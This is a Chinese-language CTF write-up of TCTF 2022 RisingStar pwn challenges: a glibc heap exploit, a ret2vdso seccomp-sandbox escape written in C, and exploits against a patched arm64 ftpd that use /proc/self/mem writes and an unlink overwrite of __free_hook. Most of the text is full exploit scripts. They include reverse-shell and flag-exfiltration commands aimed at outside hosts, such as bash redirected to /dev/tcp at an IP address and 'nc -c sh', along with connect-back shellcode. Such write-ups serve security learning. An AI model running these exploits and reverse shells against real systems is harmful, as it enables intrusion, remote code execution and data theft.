还行,没秃头。
TCTF 2022 RisingStar Pwn WriteUp
某天,nightu突然拉我出去玩。
于是在打完12月月初的京麒2023final回南京的第三天立马rush了上海。
虽说是2022final但是已经是2023年末了 0w0
还行,线下没秃头。
还行,还顺路体验了一手A320和B737,虽然飞的很烂就是了。
btw,这应该是系列节目的上篇。至于下篇什么时候出,我也不知道。
c00ledit
Nightu牛逼
经典堆题没检查idx为负。
覆盖低位stderr->_IO_write_ptr
,然后打house of apple 2
拿shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./chall")
libc=ELF("./libc-2.35.so")
def menu(ch):
s.sendlineafter(b"choice: ",str(ch).encode())
def add():
menu(1)
def edit(idx,off,content):
menu(3)
s.sendlineafter(b"Index: ",str(idx).encode())
s.sendlineafter(b"Offset: ",str(off).encode())
s.sendafter(b"Content: ",content)
if __name__=="__main__":
pause()
add()
edit(-8,-131,p64(0xfbad1800))
edit(-8,-91,b"\x00\xa0")
libc.address=u64(s.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-(0x7f225c462a70-0x7f225c247000)
success(hex(libc.address))
edit(-8,-91-8,p64(libc.sym.main_arena-54))
s.recv(0x96)
heap_base=u64(s.recv(8))&(~0xfff)-0x1000
success(hex(heap_base))
pause()
# fakeio=flat({
# 0:b" sh",
# 0x28:1,
# 0xa0:heap_base+0x3b0,
# 0xd8:libc.sym._IO_wfile_jumps,
# 0x118:0,
# 0x130:0,
# 0x168:libc.sym.system,
# 0x1e0:heap_base+0x3b0,
# },filler=b"\x00")
edit(0,0,b" sh")
edit(0,0x28,p64(1))
edit(0,0xa0,p64(heap_base+0x3c0))
edit(0,0xd8,p64(libc.sym._IO_wfile_jumps))
edit(0,0x118,p64(0))
edit(0,0x130,p64(0))
edit(0,0x168,p64(libc.sym.system))
edit(0,0x1e0,p64(heap_base+0x3c0))
edit(-4,-131+0x68,p64(heap_base+0x2c0))
menu(5)
pause()
s.interactive()
|
shellcode
既然厂商不想放出来指令集,那各位还是少讨论的好。
——出题人(大意)
无中生有
server & launcher
先简单说说他想要啥:
- 长度大于等于0x40
- ELF header不能缺
- 不能有连续存在的
\xcd\x80
和\x0f\x05
,即不能显式的有int 0x80
和syscall
这里可以通过把两byte的指令拆分到一个页首一个页尾来绕过检查,页权限r-x,但是下一步……
\xcd\x80\x0f\x05
每个byte不能单独出现在每页的首尾。
直接封死了
- 对ELF header做了一大堆检查
- 遍历ELF header:
- 必须是动态链接
- 不能有?wx的段
- header不能大于上传ELF的大小
这里不知道有什么hack :(
launcher里面就开了个沙盒:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x11 0x00 0x00000000 if (A == read) goto 0021
0004: 0x15 0x10 0x00 0x0000000c if (A == brk) goto 0021
0005: 0x15 0x0f 0x00 0x000000e7 if (A == exit_group) goto 0021
0006: 0x15 0x0e 0x00 0x40000001 if (A == x32_write) goto 0021
0007: 0x15 0x0d 0x00 0x40000009 if (A == x32_mmap) goto 0021
0008: 0x15 0x0c 0x00 0x4000000b if (A == x32_munmap) goto 0021
0009: 0x15 0x00 0x0c 0x0000003b if (A != execve) goto 0022
0010: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0011: 0x15 0x00 0x0a 0x00007ffc if (A != 0x7ffc) goto 0022
0012: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0013: 0x15 0x07 0x08 0x01bfa738 if (A == 0x1bfa738) goto 0021 else goto 0022
0014: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0022
0015: 0x20 0x00 0x00 0x00000000 A = sys_number
0016: 0x15 0x04 0x00 0x00000001 if (A == i386.exit) goto 0021
0017: 0x15 0x03 0x00 0x00000006 if (A == i386.close) goto 0021
0018: 0x15 0x00 0x03 0x00000005 if (A != i386.open) goto 0022
0019: 0x20 0x00 0x00 0x00000018 A = statbuf # fstat(fd, statbuf)
0020: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x06 0x00 0x00 0x00000000 return KILL
|
思路
先看沙盒。
禁了x86的execve,x64的限制了文件名,考虑orw。
x86给了open和close,限制了fd等于没限制。
x64给了read,x86给了write,orw思路基本就出来了。
现在的核心问题就是你去哪找syscall了。
预期解法是ret2vdso,也是我第一次在正赛中见到此类题目。
see-also1: zhihu-linux-vdso
see-also2: linux-vdso-fromhackmd
简单说,vdso里面有一些常用的系统调用的实现,比如gettimeofday
,这里面就有syscall指令。
而栈中是存在vdso基址的(在elf auxiliary vector
中),且其中各个函数的偏移可以通过遍历相关结构体得到。或者你直接暴力搜一波也不是不行
找一个受上下文影响不大的,且基本不会影响上下文的call过去,syscall的问题就解决了。
x86的syscall也没必要retf,直接mmap
一段rwx
然后弄个int 0x80
进去,最后call
就行了。
下面的exp可以用musl静态编译,本地复现通过。
更优雅的方法可以通过纯汇编实现,然后找个ELF头然后塞进去。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
#include <stdio.h>
#include <stdlib.h>
#include <elf.h>
#include <link.h>
#include <sys/auxv.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
char filename[]="/flag";
typedef int (*clock_gettime_t)(clockid_t, struct timespec *);
int main(int argc, char *argv[], char *envp[]) {
void *vdso=0;
__asm__(
"mov r15,qword ptr [rsp+0x248];"
"mov qword ptr [rbp-0x40], r15;"
);
ElfW(Ehdr) *ehdr = (ElfW(Ehdr) *)vdso;
ElfW(Phdr) *phdrs = (ElfW(Phdr) *)((char *)vdso + ehdr->e_phoff);
ElfW(Dyn) *dynamic = NULL;
// 查找动态段
for (int i = 0; i < ehdr->e_phnum; ++i) {
if (phdrs[i].p_type == PT_DYNAMIC) {
dynamic = (ElfW(Dyn) *)((char *)vdso + phdrs[i].p_offset);
break;
}
}
if (!dynamic) {
fprintf(stderr, "Dynamic segment not found.\n");
return EXIT_FAILURE;
}
// 查找符号表和字符串表
ElfW(Sym) *symtab = NULL;
char *strtab = NULL;
for (ElfW(Dyn) *d = dynamic; d->d_tag != DT_NULL; ++d) {
if (d->d_tag == DT_SYMTAB) {
symtab = (ElfW(Sym) *)((char *)vdso + d->d_un.d_ptr);
} else if (d->d_tag == DT_STRTAB) {
strtab = (char *)vdso + d->d_un.d_ptr;
}
}
if (!symtab || !strtab) {
fprintf(stderr, "Symbol or string table not found.\n");
return EXIT_FAILURE;
}
// 搜索clock_gettime符号
clock_gettime_t vdso_clock_gettime = NULL;
for (ElfW(Sym) *sym = symtab; (char *)sym < strtab; ++sym) {
if (ELF64_ST_TYPE(sym->st_info) == STT_FUNC) {
const char *name = strtab + sym->st_name;
// 在musl-libc中,函数名可能不同,需要根据实际情况进行调整
if (strcmp(name, "__vdso_clock_getres") == 0) {
vdso_clock_gettime = (clock_gettime_t)((char *)vdso + sym->st_value);
break;
}
}
}
vdso_clock_gettime+=90;
__asm__(
"mov rax,0x40000009;"
"mov rdi,0;"
"mov rsi,0x1000;"
"mov rdx,0x7;"
"mov r10,0x22;"
"mov r8,0;"
"mov r14, qword ptr [rbp-0x30];" // now syscall in r14
"call r14;" // mmap space for int 80;ret
"mov r15,rax;" // now int80 in r15
"mov byte ptr [r15],0xcd;"
"mov byte ptr [r15+1],0x80;"
"mov byte ptr [r15+2],0xc3;"
"mov rax,5;"
"lea rbx,filename;"
"mov rcx,0;"
"mov rdx,0;"
"call r15;"
"mov rdi,rax;"
"lea rsi,filename;"
"mov rdx,0x100;"
"mov rax,0;"
"call r14;"
"mov rax,0x40000001;"
"mov rdi,1;"
"call r14;"
"mov rax,0xe7;"
"mov rdi,137;"
"call r14;"
);
return EXIT_SUCCESS;
}
|
ftpd
附件下载地址
这次是真的在arm64上跑的ftpd,所有保护能开齐的那种。
他反转了一个逻辑:
1
2
3
4
5
6
7
8
|
@@ -2635,7 +2635,7 @@ ftp_xfer_dir(ftp_session_t *session,
/* check if this is a directory */
session->dp = opendir(session->buffer);
- if(session->dp == NULL)
+ if(session->dp != NULL)
{
/* not a directory; check if it is a file */
rc = stat(session->buffer, &st);
|
本题复现环境是跑在qemu-system-aarch64
上的debian
,程序送进qemu前做了patchelf
,但是没有docker,可能与比赛时的真实环境有一点区别。
坑点在于漏洞分析以及arm下shellcode的两种模式上,学到了很多东西。
非预期(大概)
经典procfs
。虽然预期解的地址泄露也是通过/proc/self/maps
,所以,一般非预期?
泄露/proc/self/maps
可以通过PASV
自己连过去拿,或者PORT
让他连过来给你。
程序里面是有seek
的,所以可以用/proc/self/mem
任意写。通过/proc/self/mem
从_start
开始写shellcode即可。
有两点需要注意一下:
-
似乎code段高地址无法写入(elf_base+[0x7000,0x9000]),目前原因不明。由于低地址可写,此问题略过。
-
覆盖ABOR
写触发shellcode,在gdb调试时发现,程序会跳过函数开头部分指令,所以布置R0的时候写了两遍。
-
arm指令集格式有thumb和arm两种模式,程序默认是thumb,blx长跳时如果最低位为1则会切换到thumb模式,0则切换到arm模式。
我的exp在触发shellcode时写了一个长跳,所以需要注意这个。
以下内容来自ChatGPT:
在ARM架构中,指令地址的对齐是非常重要的。如果指令地址没有正确对齐,可能会导致不可预测的行为,甚至会引发硬件异常。
对齐要求
- ARM模式:指令地址必须是4字节对齐的,即地址的最低两位必须为0。
- Thumb模式:指令地址必须是2字节对齐的,即地址的最低位必须为0。
切换到Thumb模式
当你使用BX
或BLX
指令切换到Thumb模式时,目标地址的最低位(LSB)必须为1,这不仅仅是为了指示处理器切换到Thumb模式,还可以确保地址在切换后是2字节对齐的。处理器会自动将目标地址的最低位清零,以确保地址对齐。
示例
假设你有一个函数thumb_function
,它的地址是0x08000002(实际上是0x08000000,但最低位为1表示这是一个Thumb模式地址)。你可以这样切换到Thumb模式:
1
2
3
|
; ARM模式代码
LDR R0, =thumb_function + 1 ; 加1以设置最低位为1
BX R0 ; 切换到Thumb模式
|
在这个例子中,thumb_function
的地址是0x08000000,但通过加1,我们将最低位设置为1,这样处理器在执行BX R0
指令时会切换到Thumb模式,并且自动将地址对齐到2字节(0x08000000)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
host="192.168.176.138"
s=remote(host,5000)
def ftpcmd(cmd):
s.sendline(cmd)
def pasv_init(cmd):
ftpcmd(b"PASV")
s.recvuntil(b"227 ")
dat=s.recvline().decode().strip("\r\n").split(',')
ftpcmd(cmd)
return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
read_pipe=pasv_init(cmd)
dat=read_pipe.recvall()
read_pipe.close()
return dat
def pasv_write(cmd,data):
write_pipe=pasv_init(cmd)
write_pipe.send(data)
write_pipe.close()
def leak():
global elf_base
maps=pasv_read(b"RETR /proc/self/maps")
for l in maps.split(b"\n"):
if l.endswith(b"ftpd"):
elf_base=int(l.split(b"-")[0],16)
return
def exploit():
code=shellcraft.connect("127.0.0.1",12345)+shellcraft.dup2('r6',0)+shellcraft.dup2('r6',1)+shellcraft.dup2('r6',2)+shellcraft.execve("/bin/sh\x00",0,0)
pasv_write(f"REST {elf_base+0x12f4+12}\nSTOR /proc/self/mem".encode(),asm(code))
s.interactive()
shellcode_base=elf_base+0x12f4+12
code=f"""
nop
nop
movw r0, {(shellcode_base&0xffff)+1}
movt r0, {shellcode_base>>16}
movw r0, {(shellcode_base&0xffff)+1}
movt r0, {shellcode_base>>16}
bx r0
"""
pasv_write(f"REST {elf_base+0x5192}\nSTOR /proc/self/mem".encode(),asm(code))
ftpcmd(b"ABOR") # trigger, goto your remote
if __name__=="__main__":
leak()
exploit()
s.interactive()
|
预期解
原else分支里面有一个memcpy
,盲猜反转逻辑之后可能会导致溢出。
1
2
3
4
5
6
7
8
|
session->dp = opendir(session->buffer);
if(session->dp != NULL)
{...}
else
{
// is a file, copy file name to session->lwd
memcpy(session->lwd, session->buffer, session->buffersize);
}
|
然后我们来看看session
的结构体ftp_session_t
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
/*! ftp session */
struct ftp_session_t
{
char cwd[4096]; /*!< current working directory */
char lwd[4096]; /*!< list working directory */
struct sockaddr_in peer_addr; /*!< peer address for data connection */
struct sockaddr_in pasv_addr; /*!< listen address for PASV connection */
int cmd_fd; /*!< socket for command connection */
int pasv_fd; /*!< listen socket for PASV */
int data_fd; /*!< socket for data transfer */
time_t timestamp; /*!< time from last command */
session_flags_t flags; /*!< session flags */
xfer_dir_mode_t dir_mode; /*!< dir transfer mode */
session_mlst_flags_t mlst_flags; /*!< session MLST flags */
session_state_t state; /*!< session state */
ftp_session_t *next; /*!< link to next session */
ftp_session_t *prev; /*!< link to prev session */
loop_status_t (*transfer)(ftp_session_t*); /*! data transfer callback */
char buffer[XFER_BUFFERSIZE]; /*! persistent data between callbacks */
char file_buffer[FILE_BUFFERSIZE]; /*! stdio file buffer */
char cmd_buffer[CMD_BUFFERSIZE]; /*! command buffer */
size_t bufferpos; /*! persistent buffer position between callbacks */
size_t buffersize; /*! persistent buffer size between callbacks */
size_t cmd_buffersize;
uint64_t filepos; /*! persistent file position between callbacks */
uint64_t filesize; /*! persistent file size between callbacks */
FILE *fp; /*! persistent open file pointer between callbacks */
DIR *dp; /*! persistent open directory pointer between callbacks */
};
|
如果session->lwd
能溢出,就有了两个可能的攻击面:next
和prev
指针打unlink,transfer
指针打“transfer_hook”。
vuln point
让我们回到可能的漏洞点:
1
2
3
4
5
6
7
8
|
session->dp = opendir(session->buffer);
if(session->dp != NULL)
{...}
else
{
// is a file, copy file name to session->lwd
memcpy(session->lwd, session->buffer, session->buffersize); // vuln here ?
}
|
这里的sesion->buffer
来自ftp_session_read_command
的session->cmd_buffer
,大小4096,加上指令前缀的3-4个字节,似乎溢出就没戏了。
但是,注意到流程里面还有一个build_path
,此时如果cwd
不在根目录的话,会对目录进行一个拼接。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
static int
build_path(ftp_session_t *session,
const char *cwd,
const char *args)
{
...
if (args[0] == '/') // args is path after cmd prefix
{...}
else
{
/* this is a relative path */
if(strcmp(cwd, "/") == 0)
rc = snprintf(session->buffer, sizeof(session->buffer), "/%s", args);
else
rc = snprintf(session->buffer, sizeof(session->buffer), "%s/%s", cwd, args); // vuln here :)
if (rc >= sizeof(session->buffer))
{
errno = ENAMETOOLONG;
return -1;
}
session->buffersize = rc;
}
}
|
此处的cwd
长度不会计算在cmd_buffer
的长度中,且会在build_path
中被snprinf
将cwd
和args
拼接起来放到session->buffer
中,进而在被反转的逻辑部分被memcpy
到session->lwd
中,造成溢出。
确定溢出存在,可以开打了。
提前说一下,这里的pad_byte
不要用\x00
,这个服务器会把所有的\x00
换成\x0a
并做了其他的处理。详见ftp.c
中的decode_path
函数。
a step advanced
如果你的思路是改__free_hook
,那么你的第一个问题就是文件名不能含有/
。
这就很蛋疼了,如果环境里没有nc的话就很蛋疼了。
这里参考了blingblingxuanxuan师傅的思路,滥用了session->filebuffer[65536]
Ref: blingblingxuanxuan
session->filebuffer[65536]
是一个更大且可控性更好的区域,如果我们可以在此处伪造一个session结构体,那就可以绕过上述关于session->cwd
的几乎所有限制。
然后设定好flag,让他满足被销毁的条件即可触发。
unlink
各种地址通过procfs
随便拿,这里不再赘述。
先看看他怎么写的unlink
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
/*! destroy ftp session
*
* @param[in] session ftp session
*
* @returns the next session in the list
*/
static ftp_session_t*
ftp_session_destroy(ftp_session_t *session)
{
...
/* unlink from sessions list */
if(session->next)
session->next->prev = session->prev;
if(session == sessions)
sessions = session->next;
else
{
session->prev->next = session->next;
if(session == sessions->prev)
sessions->prev = session->prev;
}
/* deallocate */
free(session);
return next;
}
|
没有任何检查和保护呢 :)
只要保证你能抢到第一个用户,就可以很容易的向session->next->prev
写入session->prev
的内容。
记得比赛时好像是每三分钟重置一次,这种方式应该还是可行的,就不考虑更麻烦的else分支了。
换言之,如果session->next
指向的prev是__free_hook
,session->prev
是system+1
,就能打了。
注意到ftp_session_destroy
之后会把当前session
给释放掉,2.31
还是有hook存在的,所以考虑打hook,改free_hook
为system
。
释放的时候指针实际指向session->cwd
,所以free(session)
等价于system(session->cwd)
。
anyway,先创建一个叫/;sh
的文件夹,然后在gdb
里面用set
改寄存器测试一下。
在ftp_session_destroy
和free
处打个断点,然后准备一下:
回到gdb
发现他已经跑到判断__free_hook
有没有东西的地方了;
然后set $r3=&system+1
,回到qemu之后就可以看到:
+1 的原因同上面提到的thumb和arm的问题。
完美。
system
能用了就可以想想怎么把flag带出来了,这里执行的命令来自session->cwd
。正常输入限制比较多,比如不能有斜杠之类的。自己做一个结构体就可以绕过上述问题。
但是他一个session就超级无敌大,如果直接fake不brk的话fake_session会指向当前heap段以外的区域,所以还得另开个session让他brk一下。
至于unlink时候的影响,每次unlink的时候对应的session都在头部,即满足了session == sessions
的条件,所以不用担心。
程序中段的pause延时似乎必须,未经严谨测试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
elf_name=b"ftpd"
host="192.168.176.138"
libc=ELF("./lib/libc-2.31.so")
s=remote(host,5000)
elf=ELF("./ftpd")
libc_name=b"libc-2.31.so"
elf_base=0
heap_base=0
libc_base=0
def ftpcmd(cmd):
s.sendline(cmd)
def pasv_init(cmd):
ftpcmd(b"PASV")
s.recvuntil(b"227 ")
dat=s.recvline().decode().strip("\r\n").split(',')
ftpcmd(cmd)
return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
read_pipe=pasv_init(cmd)
dat=read_pipe.recvall()
read_pipe.close()
return dat
def pasv_write(cmd,data,keepalive=False):
write_pipe=pasv_init(cmd)
write_pipe.send(data)
if keepalive:
return write_pipe
write_pipe.close()
def leak():
global elf_base,heap_base,libc_base
maps=pasv_read(b"RETR /proc/self/maps")
for l in maps.split(b"\n"):
if l.endswith(elf_name) and elf_base==0:
elf_base=int(l.split(b"-")[0],16)
elif l.endswith(b"[heap]") and heap_base==0:
heap_base=int(l.split(b"-")[0],16)
elif l.endswith(libc_name) and libc_base==0:
libc_base=int(l.split(b"-")[0],16)
success(f"elf_base: {hex(elf_base)}\nheap_base: {hex(heap_base)}\nlibc_base: {hex(libc_base)}")
assert elf_base!=0 and heap_base!=0 and libc_base!=0
def construct_fake_session(cmd=b"/bin/bash -c '/root/flag > /dev/tcp/47.97.58.52/51234'"):
ret_data=b""
ret_data+=cmd.ljust(4096,b"\x00") # cwd
ret_data+=b"\x00"*4096 # lwd
ret_data+=b"\x00"*0x20 # peer_addr pasv_addr
ret_data+=b"\xff"*0x10 # cmd_fd pasv_fd data_fd timestamp
ret_data+=b"\xff"*0x10 # flags dir_mode mlst_flags state
ret_data+=flat([libc_base+libc.sym.__free_hook-8192-0x40-4,libc_base+libc.sym.system,0xdeadbeef]) # next prev transfer
return ret_data
def expected_remote():
ftpcmd(b"MKD /1234")
ftpcmd(b"MKD /1234/"+b"a"*254)
ftpcmd(b"MKD /1234/"+b"a"*254+b"/"+b"b"*254)
ftpcmd(b"MKD /1234/"+b"a"*254+b"/"+b"b"*254+b"/"+b"c"*254)
ftpcmd(b"CWD /1234/"+b"a"*254+b"/"+b"b"*254+b"/"+b"c"*254)
rev_shell_cmd=b"/bin/bash -c '/bin/bash -i >& /dev/tcp/47.97.58.52/51234 0>&1'"
pasv_write(b"STOR /1234/payload",construct_fake_session(rev_shell_cmd)) # fake session in session->filebuffer
new_sess=remote(host,5000) # to brk heap
pause() # seems to be necessary, or try sleep?
payload_to_unlink=b"X"*3325+flat([
b"\x20"*32,
0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,
4,0xdeadbeef,0xdeadbeef,0xdeadbeef,
#heap_base+0xa5fc,# fake next on x86 test
heap_base+0xb1e4,
libc.sym.system+libc_base,
elf.sym.list_transfer+elf_base
])
ftpcmd(b'STAT '+payload_to_unlink)
if __name__=="__main__":
leak()
expected_remote()
s.interactive()
|
跑起来,远程服务器就能收到flag/shell了。
某个之前用了nc的废案:(后来才发现远程是给了你一个/challenge/flag
让你发flag出去)
这里复现使用的是nc -c sh 1.2.3.4 5678
这种方式。也许当时的远程没有nc但是emmm反正是复现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
elf_name=b"ftpd"
host="192.168.176.138"
libc=ELF("./lib/libc-2.31.so")
s=remote(host,5000)
elf=ELF("./ftpd")
libc_name=b"libc-2.31.so"
elf_base=0
heap_base=0
libc_base=0
def ftpcmd(cmd):
s.sendline(cmd)
def pasv_init(cmd):
ftpcmd(b"PASV")
s.recvuntil(b"227 ")
dat=s.recvline().decode().strip("\r\n").split(',')
ftpcmd(cmd)
return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
read_pipe=pasv_init(cmd)
dat=read_pipe.recvall()
read_pipe.close()
return dat
def pasv_write(cmd,data):
write_pipe=pasv_init(cmd)
write_pipe.send(data)
write_pipe.close()
def leak():
global elf_base,heap_base,libc_base
maps=pasv_read(b"RETR /proc/self/maps")
for l in maps.split(b"\n"):
if l.endswith(elf_name) and elf_base==0:
elf_base=int(l.split(b"-")[0],16)
elif l.endswith(b"[heap]") and heap_base==0:
heap_base=int(l.split(b"-")[0],16)
elif l.endswith(libc_name) and libc_base==0:
libc_base=int(l.split(b"-")[0],16)
success(f"elf_base: {hex(elf_base)}\nheap_base: {hex(heap_base)}> \nlibc_base: {hex(libc_base)}")
assert elf_base!=0 and heap_base!=0 and libc_base!=0
def expected():
payload_exec="nc -c sh 1.2.3.4 5678"
ftpcmd(f"MKD /;{payload_exec};")
ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/'.> encode())
ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/'.encode())
ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/{"c"*254}/'.encode())
ftpcmd(f'CWD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/{"c"*254}/'.encode())
payload_to_unlink=b"x"*3325+b"\x20"*32+flat([
-1,-1,-1,0xdeadbeef,# cmd_fd pasv_fd data_fd timestamp
0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,# flags dir_mode > mlst_flags state
libc_base+libc.sym.__free_hook-8192-0x40-4,libc_base+libc.sym.> system, # next prev transfer
])
ftpcmd(b'STAT '+payload_to_unlink)
if __name__=="__main__":
leak()
expected()
s.interactive()
|
远程效果:
transfer hook
Ref: blingblingxuanxuan
此处不作搬运,transfer_hook
是另一种利用路线,打ROP和shellcode的后利用方式也更为优雅。